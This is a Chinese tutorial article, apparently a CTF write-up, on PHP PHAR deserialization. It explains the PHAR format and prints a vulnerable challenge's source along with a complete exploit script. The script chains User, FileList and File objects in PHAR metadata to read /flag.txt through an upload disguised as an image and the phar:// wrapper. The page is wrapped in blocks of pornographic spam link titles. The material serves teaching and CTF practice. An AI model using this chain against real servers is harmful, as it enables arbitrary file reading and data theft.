日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

PHP開發技巧之PHAR反序列化詳解

瀏覽:276日期:2022-06-06 09:44:26
目錄
  • 引文
  • 前置知識
    • PHAR
    • PHAR文件結構
    • PHAR文件生成樣例
  • 實戰
    • 結語

      引文

      之前將PHP反序列化的基礎知識講了一遍,不知道大家學習的怎么樣了,今天給大家帶來PHP反序列化的進階知識:PHAR反序列化,也是之前本人在CTF比賽中經常遇到的一種php反序列化的進階使用吧,下面先給大家講一講PHAR反序列化的前置知識。

      前置知識

      PHAR

      在軟件中,PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個歸檔文件中來實現應用程序和庫的分發。phar文件本質上是一種壓縮文件,會以序列化的形式存儲用戶自定義的meta-data。當受影響的文件操作函數調用phar文件時,會自動反序列化meta-data內的內容,這里就是我們反序列化漏洞的利用點。

      接下來帶大家看一下如何構造phar文件:

      PHAR狀態是只讀的,創建一個的Phar文件需要允許寫入Phar文件,這需要修改一下:

      php.ini:phar.readonly = Off;  #php版本要大于等于5.2

      其中php.ini為php的配置文件。

      PHAR文件結構

      上面簡單介紹了phar的基本定義,接下來我們學習一下PHAR文件的基本結構:

      A stub

      phar文件的標志,具體代碼為:

      xxx<?php xxx; __HALT_COMPILER();?>

      注意的是phar文件始終要以__HALT_COMPILER();?>來進行結尾才能被識別為PHAR文件。

      A manifest describing the contents

      以序列化的形式存儲用戶自定義的meta-data,也是我們利用反序列化漏洞的點。

      The file contents

      壓縮的文件內容。

      signature

      簽名信息,放在文件末尾。

      PHAR文件生成樣例

      了解了以上信息,我們就可以嘗試來構建一個PHAR文件的生成,樣例代碼如下:

      <?php	class User{var $name;	}	@unlink("XINO.phar");    $phar = new Phar("XINO.phar");    $phar->startBuffering();    $phar->setStub("<?php __HALT_COMPILER(); ?>");    $o = new User();    $o->name = "XINO";    $phar->setMetadata($o);    $phar->addFromString("test.txt", "test");    $phar->stopBuffering();?>

      運行之后結果如下:

      成功生成了名為XINO.phar的phar類型文件,我們放進010editor查看:

      看到 meta-data 序列化的內容成功的保存到了文件中。我們再用phar協議去讀取就好了。這里需要注意的一點是:一些文件函數 通過 phar:// 偽協議解析phar文件時都會將meta-data反序列化,例如:

      fileatime    filectimefilemtime    file_exists    file_get_contents    file_put_contentsfile filegroupfopenfileinode      fileowner    filepermsis_dir       is_file  is_link      is_executable  is_readable  is_writeableis_wirtble   parse_ini_file   copy unlink stat readfileinfo_file   

      實戰

      學完上面的內容后,我們便可以嘗試一下實戰了,先看看利用條件:

      phar文件要能夠上傳到服務器端

      要有可用的魔術方法作為"跳板"

      文件操作函數的參數可控,且:、/、phar等特殊字符沒有被過濾

      下面我們來看一個例題:

      進去是一個登陸界面,我們注冊登陸進去,發現了一個文件上傳的點。要求得文件類型只能是gif/jpg/png的類型,需要抓包更改其Content-Type為image/jpeg或其它圖片格式的對應字符串。抓包后會發現POST傳參download處存在任意文件下載:

      下載源碼:index.php,delete.php,download.php,class.php

      class.php:

      <?phperror_reporting(0);$dbaddr = "127.0.0.1";$dbuser = "root";$dbpass = "root";$dbname = "dropbox";$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {    public $db;    public function __construct() {global $db;$this->db = $db;    }    public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {    return false;}return true;    }    public function add_user($username, $password) {if ($this->user_exist($username)) {    return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;    }    public function verify_user($username, $password) {if (!$this->user_exist($username)) {    return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {    return true;}return false;    }    public function __destruct() {$this->db->close();    }}class FileList {    private $files;    private $results;    private $funcs;    public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {    $file = new File();    $file->open($path . $filename);    array_push($this->files, $file);    $this->results[$file->name()] = array();}    }    public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {    $this->results[$file->name()][$func] = $file->$func();}    }    public function __destruct() {$table = "<div id="container"><div><table id="table">";$table .= "<thead><tr>";foreach ($this->funcs as $func) {    $table .= "<th scope="col">" . htmlentities($func) . "</th>";}$table .= "<th scope="col">Opt</th>";$table .= "</thead><tbody>";foreach ($this->results as $filename => $result) {    $table .= "<tr>";    foreach ($result as $func => $value) {$table .= "<td>" . htmlentities($value) . "</td>";    }    $table .= "<td filename="" . htmlentities($filename) . ""><a href="#" rel="external nofollow"  rel="external nofollow" >下載</a> / <a href="#" rel="external nofollow"  rel="external nofollow" >刪除</a></td>";    $table .= "</tr>";}echo $table;    }}class File {    public $filename;    public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {    return true;} else {    return false;}    }    public function name() {return basename($this->filename);    }    public function size() {$size = filesize($this->filename);$units = array(" B", " KB", " MB", " GB", " TB");for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];    }    public function detele() {unlink($this->filename);    }    public function close() {return file_get_contents($this->filename);    }}?>

      delete.php

      <?php#delete.phpsession_start();if (!isset($_SESSION["login"])) {    header("Location: login.php");    die();}if (!isset($_POST["filename"])) {    die();}include "class.php";chdir($_SESSION["sandbox"]);$file = new File();$filename = (string) $_POST["filename"];if (strlen($filename) < 40 && $file->open($filename)) {    $file->detele();    Header("Content-type: application/json");    $response = array("success" => true, "error" => "");    echo json_encode($response);} else {    Header("Content-type: application/json");    $response = array("success" => false, "error" => "File not exist");    echo json_encode($response);}?>

      簡單分析一下:

      創建一個user的對象,而且db變量是一個FileList對象,文件名為flag的路徑。這樣的話,當user對象銷毀時,db變量的close方法被執行;而db變量沒有close方法,這樣就會觸發call魔術方法(不理解的可以去看之前的文章),于是執行File對象的close方法。通過分析FileList類的析構方法可以知道,close方法執行后存在results變量里的結果會加入到table變量中被打印出來,也就是flag會被打印出來($this->filename=flag文件 )。

      于是我們嘗試寫一個生成PHAR文件的腳本:

      <?phpclass User {    public $db;}class File {    public $filename;}class FileList {    private $files;    public function __construct() {$file = new File();$file->filename = "/flag.txt";$this->files = array($file);    }}$a = new User();$a->db = new FileList();$phar = new Phar("XINO.phar"); //后綴名必須為phar$phar->startBuffering();$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub$phar->setMetadata($a); //將自定義的meta-data存入manifest//簽名自動計算$phar->stopBuffering();?>

      生成文件后將PHAR文件改文件類型然后上傳,之后用PHAR協議去讀取就可以得到flag。

      結語

      今天比較詳細的講了PHAR反序列化漏洞的原理以及應用方法,可能剛開始學不太好理解,可以根據之前PHP反序列化的思路去理解一下。有興趣的小伙伴可以自己去搭建靶機來進行測試,喜歡的小伙伴不妨一鍵三連。

      以上就是PHP開發技巧之PHAR反序列化詳解的詳細內容,更多關于PHP開發PHAR反序列化的資料請關注其它相關文章!

      標簽: PHP
      相關文章:
      日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
      国产精品久久久久久久久久妞妞| 国产h片在线观看| 亚洲国内精品| 国产麻豆久久| 99视频精品全国免费| 日韩一区电影| а√天堂8资源在线| 国产精品v亚洲精品v日韩精品| 国产调教精品| 久久影视三级福利片| 精品中文在线| 日韩大片在线观看| 一本大道色婷婷在线| 日韩一区电影| 亚洲手机在线| 喷白浆一区二区| 日韩激情啪啪| 精品一区二区男人吃奶| 欧美sm一区| 先锋影音久久久| 欧美午夜三级| 日韩成人免费| 国产成人1区| 欧美福利一区| 亚洲精品福利| 久久精品国产久精国产爱| sm捆绑调教国产免费网站在线观看 | 中文字幕人成乱码在线观看| 亚洲不卡av不卡一区二区| 伊人久久婷婷| 欧美视频二区| 日韩欧美精品一区| 老司机精品久久| 欧美极品中文字幕| 一区二区精品伦理...| 激情五月综合| 91成人福利| 深夜福利视频一区二区| 国产精品日韩久久久| 国产精品tv| 久久影院一区| 欧美天堂在线| 一区二区三区四区在线看| 亚洲精品乱码日韩| 国产在线视频欧美一区| 免费av一区| 青青草视频一区| 久久婷婷一区| 国产日韩一区| 日韩久久视频| 亚洲人成网站在线在线观看| 成人在线免费观看91| 免费久久99精品国产| 久久伊人久久| 国产精品人人爽人人做我的可爱| 久久超级碰碰| 在线视频精品| 精品国产欧美日韩| 蜜芽一区二区三区| 欧美xxxx中国| 97se亚洲| 黄色日韩在线| 欧美国产视频| 免费看日韩精品| 免费在线欧美黄色| 国产亚洲精品自拍| 国产成人精品一区二区三区免费| 亚洲丝袜美腿一区| 日韩不卡在线| 欧美精品97| 日本不卡高清| 国产视频久久| 一本大道色婷婷在线| 国产精品一线天粉嫩av| 国产视频一区免费看| 天堂av在线| 国产精品日本一区二区不卡视频 | 日韩欧美自拍| 国产日产精品一区二区三区四区的观看方式| 久久国产日韩| 麻豆91小视频| 天堂va在线高清一区| 欧美1区2区3区| 福利一区二区三区视频在线观看| 日本亚洲最大的色成网站www| 三级精品视频| 欧美韩日一区| 国产激情综合| 欧美日韩18| 综合一区在线| 免费在线小视频| 国产精品成人国产| 日韩av一区二区三区| 久久xxxx精品视频| 午夜久久一区| 亚洲国产影院| 久久精品1区| 波多野结衣久久精品| 美女视频网站久久| 国产探花一区二区| 日本三级亚洲精品| 亚洲精品女人| 亚洲影视一区| 日韩精品一区第一页| re久久精品视频| 色婷婷狠狠五月综合天色拍| 欧美91在线| 国产精品手机在线播放| 日本精品国产| 日韩欧美在线精品| 亚洲精选久久| 日韩一区二区三区精品视频第3页| 亚洲永久字幕| 欧美国产91| 九一精品国产| 黄色亚洲在线| 国产精品腿扒开做爽爽爽挤奶网站| 欧美不卡视频| 国产美女一区| 日韩中文字幕一区二区三区| 亚洲免费播放| 久久精品123| 图片区亚洲欧美小说区| 精品一区亚洲| 国产视频一区欧美| 日韩精品一二三四| 视频一区中文字幕精品| 日本在线一区二区三区| 青青草国产精品亚洲专区无| 欧美日本不卡高清| 美女久久99| 国产不卡人人| 999久久久精品国产| 国产91久久精品一区二区| 欧美国产91| 一区二区国产精品| 亚洲精品美女91| 国产伦精品一区二区三区视频 | 99在线精品免费视频九九视| 国产婷婷精品| 日韩av中文在线观看| 麻豆久久一区| 免费精品视频最新在线| 日韩欧美在线精品| 日韩一区二区三免费高清在线观看| 中文字幕视频精品一区二区三区| 日韩在线短视频| 日韩在线高清| 国户精品久久久久久久久久久不卡| 99国产精品一区二区| 欧美日韩在线二区| 99视频精品免费观看| 日韩中文字幕不卡| 日本成人手机在线| 国产精品videosex极品| 精品亚洲免a| 日韩精品不卡一区二区| 欧美va亚洲va日韩∨a综合色| 亚洲一区成人| 欧美日韩视频免费看| 久久影视三级福利片| 精品国产美女a久久9999| 日韩在线短视频| 香蕉久久久久久久av网站| 欧美在线91| 国产极品模特精品一二| sm久久捆绑调教精品一区| 成人国产综合| 成人av动漫在线观看| 免费观看在线色综合| 国产欧美日韩免费观看| 成人免费网站www网站高清| 中文日韩欧美| 欧美日韩 国产精品| 精品国产乱码久久久久久1区2匹| 亚洲成av人片一区二区密柚| 在线亚洲激情| 国产精品日韩精品中文字幕| 日韩大片在线观看| 亚洲激情不卡| 国产乱人伦精品一区| 91精品啪在线观看国产18| 日韩精彩视频在线观看| 麻豆网站免费在线观看| 亚洲资源网站| 97se综合| 日本三级亚洲精品| 日韩免费av| 97久久超碰| 亚洲天堂成人| 国产精品三级| 激情久久一区二区| 免费成人性网站| 中文字幕在线官网| 美国三级日本三级久久99| 免费一级欧美片在线观看网站 | 91成人在线精品视频| 日韩电影免费在线观看| 日韩国产欧美三级| 久久亚洲国产|